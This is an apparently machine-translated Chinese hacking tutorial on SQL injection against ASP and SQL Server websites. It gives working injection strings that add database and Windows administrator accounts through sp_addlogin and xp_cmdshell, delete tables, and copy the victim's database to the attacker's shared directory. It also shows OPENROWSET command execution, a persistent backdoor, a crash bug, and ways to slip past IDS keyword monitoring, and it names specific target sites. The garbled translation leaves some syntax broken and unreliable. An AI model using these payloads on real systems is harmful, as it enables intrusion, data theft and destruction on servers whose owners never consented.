Some attacks in the SQL database

xiaoxiao2021-03-06  47

details:

For many news, BBS and e-commerce websites are designed with ASP SQL design, while writing

ASP's programmers have many (there are many graduated), so the attack success rate of ASP SQL

It is also relatively high. This type of attack method and NT version and the SQL version do not have much relationship, and there is no corresponding patch, because the vulnerability is caused by the programmer, and most of the most explain ASP compilation

On the book, the source code example has this vulnerability, in fact, only some legal ASP's requests for SQL, leave after the suffering!

This kind of attack method originated from OR1 = 1 vulnerability (we call it as a vulnerability), this vulnerability, I think everyone should know, then, then,

SP_ADDLOGIN HAX (add a HAX user within the database), but this method is limited, first, SQL used by ASP

Server account is an administrator, followed by submission

In the end of the entire SQL statement, because some programmers use Select * from news where id = ... and Topic = ...

And .....

This method requests a database, then if it is still used with the above example

News.asp? id = 2; Exec sp_addlogin HAX

Change Select * from news where id = 2; exec sp_addlogin hax and topic = ...

And ...

The entire SQL statement has an AND and judgment in the stored procedure of sp_addlogin, the syntax error, your sp_addlogin naturally doesn't work normally, so try the following

law

News.asp? id = 2; exec sp_addlogin Hax; -

The back-symbol turns the judgment statement after sp_addlogin to comment, so there is no syntax error, sp_addlogin is executed normally!

So let's use it together.

News.asp? id = 2; exec master.dbo.sp_addlogin Hax; -

News.asp? id = 2; exec master.dbo.sp_password null, hax, hax;

News.asp? id = 2; exec master.dbo.sp_addsrvrolemember sysadmin Hax;

News.asp? id = 2; exec master.dbo.xp_cmdshell net user Hax HAX

/ WorkStations: * / Times: all / passwordchg: Yes / PasswordReq: YES

/ ACTIVE: YES / ADD; -

News.asp? id = 2; exec master.dbo.xp_cmdshell net localgroup

Administrators hax / add;

This way, you have left HAX administrators in his database and system.

Of course, the prerequisites are ASPs to use the administrator account, so don't tried the virtual space, there will be no such loopholes.

We will discuss later, if the other ASP does not use the SQL administrator account, how we invade, of course, will also involve the invasion of the 1433 port

Of course, everyone can try to look at the ID = 2, add a symbol, mainly to see how the other party's ASP is written.

Let's talk about how we do when the SQL account used by the ASP program is not administrator.

You have news content as the homepage of Heaven, as follows:

Http://www.talent.com.cn/news/news-2.asp?newid=117 you can try to see http://www.talentitit.com.cn/news/news-2.asp?newid=117 SELECT

123; -

Oh, the report syntax is wrong, SELECT 123 is wrong, obvious, Tianle new ASP ends after the NewID variable

Try to see http://www.talent.com.cn/news/news-2.asp?newid=117; Delete

NEWS;

Haha, I think as long as the expression is guessed, the news base is deleted.

Usually the SQL account used by the ASP is not an administrator, it will be an Owner of a database, at least for this library has high management privileges.

But we don't know how the library is? Take a look at the db_name () function.

Open your Query Analyzer to see Print db_name (), huh, the current database name is coming out.

Push with the secondary, as follows: declare @a sysname; set @ a = db_name (); Backup Database @a to

Disk = Your IP Your Shared Directory Bak.dat, Name = TEST;

Oh, his current database is backed up to your hard disk, you will understand that everyone will understand.

Similarly this method can find the other SQL IP

First installed a firewall, open ICMP and 139TCP and 445TCP warning tips

Then try seeing news.asp? Id = 2; exec master.dbo.xp_cmdshell ping your IP

If the firewall prompts someone ping you, then because it can be sure the other party ASP is SQL administrator privilege, and it also determines the other SQL

Server's exact location because many large

Little website considers performance, will be a Web service and database, when the other party does not see the source code, I think there is only this method to locate the other party's SQL

Server's location

Set up

So, if the other ASP does not have SQL administrator privileges, we can't call XP_cmdshell, what should I do?

Don't worry, try this news.asp? Id = 2; declare @a; set @ a = db_name (); Backup Database

@A to disk = Your IP Your Shared Directory Bak.dat

Name = TEST;

Oh, your firewall should warn, some people connect to your 445 or 139 (Win9 port, so that the other's SQL IP can also expose

So what should we do if the other party is not Owner? Next time I will tell you a better way.

In fact, Backuo Database is a bit exaggerated to your hard drive. If the other database is very large, you are dialing Internet, huh, huh, advise you not try, it is difficult to transfer

Next time we talk about how to deceive IDS to perform ASP SQL invasion

Some good IDs have started monitoring XP_cmdshell these keywords.

Ok, comrades see it next time.

All the above URLs I hope that everyone will submit through VBScript because the browser's address bar will block some special characters, so your command cannot be fully transmitted.

Window.location.herf = URL

Supplement: This problem has been raised on the web, but only some simple XP_cmdshell call limit is limited, in fact, there are many places worth in-depth, such as www.guosen.com.cn. There is this problem with the national agency certificate, and they use the three-story structure of the MS to use the XP_cmdshell practice, and the string will be filtered, but

I tried, using SQL's heterogeneous requests can still open the Telnet service and the Administrators group on the other's machine! Since the other firewall is very checker, checkpoint datagram

Only open the 80-port, therefore, if you want to get his database structure is more difficult, but there is still a way to do: P

By the way, please pay attention to SQLOLEDB, DB_NAME, OPENROWSET, OpenDataSource These system functions When the ASP's SQLServer account is just a normal user, they will

Very useful!

SQL Server new vulnerabilities and some breakthroughs

Below I will talk about some SQLServer new bugs, although I have been working hard, of course, I have a little lucky component, I can find that I don't dare to enjoy alone, take it out, please

Identification, of course, some masters have long been known, after all, I have been in contact with SQLServer for less than 1 year: P

1. About OpenRowSet and OpenDataSource

Maybe this skill has already been there, that is, using OpenRowSet to send a local command.

Usually our usage is (including MSDN's list) as follows

Select * from OpenRowset (Sqloledb, MyServer; Sa; SELECT * from Table)

It can be seen (even in the literal sense) OpenRowset is just as a quick remote database access, it must be followed in SELECT, that is, if you need to return a recordset

So can we use it to call XP_CMDSHELL? The answer is yes!

Select * from OpenRowSet (SQLOLEDB, Server; SA; SET FMTONLY OFF EXEC

Master.dbo.xp_cmdshell DIR C: /)

Must coupled with Set FMTONLY

Off is used to block the settings of the default return to the column information, so the setput collection of XP_cmdshell will be submitted to the front Select display, if adopted

Default settings, will return empty sets, resulting in select errors, and commands cannot be executed.

So if we want to call sp_addlogin, he will not return any collection as XP_cmdshell, we can't rely on FMTONLY, you can do the following

Select * from OpenRowSet (Sqloledb, Server; Sa; SELECT OK! EXEC

Master.dbo.sp_addlogin hectic)

In this way, the command will return to SELECT

OK! Collection, your machine chamber shows OK!, The other's database will also add a hectic account, that is, we use

SELECT

OK! The return collection deceives the local SELECT request, which is the command that can be performed normally, and the pendant sp_addsrvrolemember and OpenDataSource can also do this! Until

This method is really useful, everyone thinks,: P

2. Problems about MSDasql twice

I don't know if you have tried to connect the remote database with MSDasql. Of course, this API must be the administrator of SQL Server to call, so as follows

Select * from OpenRowSet (msdasql, driver = {sqlserver}; server = server; address = server, 1433; uid = sa; pwd =; database = master; network = dbmssocn, SELECT

* from Table1 Select * from

Table2)

When the number of fields of table1 and table2 is different, you will find that the other's SQLServer crashes, and even local connections will fail, and system resources are occupied, and they will kill with pskill.

After the SQLServer process, if the machine is not restarted, SQL Server does not start normally, or often illegal operations, I just happen to find this bug, I haven't been there.

Talking, and very strange is that this phenomenon only appears on MSDasql. Sqloledb has no such problem. It seems that the problem is not that the number of collections and the number of returns do not match, because

It is also a problem with MSDasql itself, for specific reasons, let's study together: P

3. Terrible back door

I used to see someone on the Internet, say that the latter door stayed in SQL Server can be done by adding Triger, Jobs or rewriting sp_addlogin and sp_addsrvrolemember, and these methods are of course feasible.

But it is easy to find. I don't know if you have thought about the local connection map of SQLOLOLDB. Oh, such as you have executed with SQL Server administrator account on the other side's SQL Server.

Down command

SELECT * OPENROWSET (SQLOLEDB, Trusted_Connection = YES; DATA

Source = HECTIC, SET FMTONLY OFF EXEC MASTER..XP_CMDSHELL

DIR C: /)

This creates a local connection mapping called hectic on the other side's SQL Server, as long as SQL Server does not restart, this map will always exist, at least I don't know now.

What is the connection map placed by others?

Ok, after the above command runs, you will find that even if SQL Server doesn't have any permissions, you can run the same as you can pass! And the permissions are

Localsystem! (Default installation) huh! This method can be used to leave a back door with SQL Server that has been invaded by administrator privileges.

The above method passes on SQL Server2000 SQLServer 200SP1!

* There is another guess. I don't know if you haven't pay more attention to the two DSNs included with Windows. One is the LocalServer one is MSQi. These two are local management when establishing

If the account is connected to SQLServer, if the other party's SQL Server is started by custom Power User, then SA's permissions is and Power

User, it is difficult to make a big, but

We pass the following command

SELECT *

OpenRowSet (Msdasql, DSN = Locaserver; trusted_connection = yes, set fmatonly

OFF exec master..xp_cmdshell DIR

C: /) You should use the local SQL Server's administrator account to connect to the local SQLServer and then perform local commands with this account permission. This is, I think it should be able to break through the SA.

Power

User authority. The current problem is that SQLOLEDB cannot call the DSN connection, and the MSDasql non-administrator does not let the call, so I am looking for the method of guest call MSDasql. If someone knows how this bug breaks through, or there is a new idea, we can discuss it together, This distribution can be used in successful use of Guest, it will be a very serious security vulnerability.

Because any SQL statement mentioned earlier can be submitted to the other party ASP to help us execute: P

Use T-SQL to deceive IDS or attack IDs

The current IDS has become more and smarter.

Some IDs have added XP_CMDSHELL SP_ADDLOGIN monitoring

However, after all, there is no presence of artificial intelligence, this surveillance always has a sense of deception.

Let me talk about deception IDS:

Ids Since we monitor the XP_cmdshell keyword, then we can do this

Declare @a sysname set @ a = "xp _" "cmdshell" EXEC @a Dir C: /

This code is like everyone understands, and XP_cmdshell is a Store.

Procedure has a ID number in the Master library, fixed, we can also do this

Suppose this id = 988456

Declare @A sysname select @ a = name from sysobjects where id = 988456

Exec @A DIR C: /

Of course

Declare @a sysname select @ a = name from sysobjects where id = 988455 1

Exec @A DIR C: /

This approach is arranged, and IDS can't do it all over.

Similarly, sp_addlogin can also do this

Let's talk about attack IDs:

Because the amount of IDS is large, day is usually backed up to regular database, such as SQL Server

If you use ancient RecordSet.Addnew, it will seriously affect the performance of IDS, because T-SQL requests are made through ADO, not only high efficiency, but also some work can be handed over to SQL

Server

Go to do

Usually the program will write so

INSERT TABLE VALUES (Day to Content, ...)

So I think about it, if used

TEMP) EXEC XP_CMDSHELL DIR C: / -

Change it after submission

INSERT TABLE VALUES (Day to Content .... Temp) EXEC XP_CMDSHELL DIR C: / -)

In this way, XP_cmdshell can run in the IDS database :)

Of course, IDS is a sniper, he will catch all the news, while the browser is submitted to change the space into% 20

Therefore,% 20 will be submitted to SQL Server so that your command cannot be executed.

The only way is

INSERT / ** / TABLE / ** / VALUES (Day to Content .... TEMP) / ** / EXEC / ** / XP_CMDSHELL / ** / DIR

C: // ** / -)

Use / ** / instead of space to do spacer, so your T-SQL can execute within IDs database

It is also possible to use other statements, you can destroy, back up the IDS database to your shared directory.

Ha ha

In fact, the principles of this method are the same, just turning spaces / ** /

Original ASP is a SELECT statement, so you can shield

Now ids uses insert statements, then use) shield

转载请注明原文地址:https://www.9cbs.com/read-115907.html

New Post(0)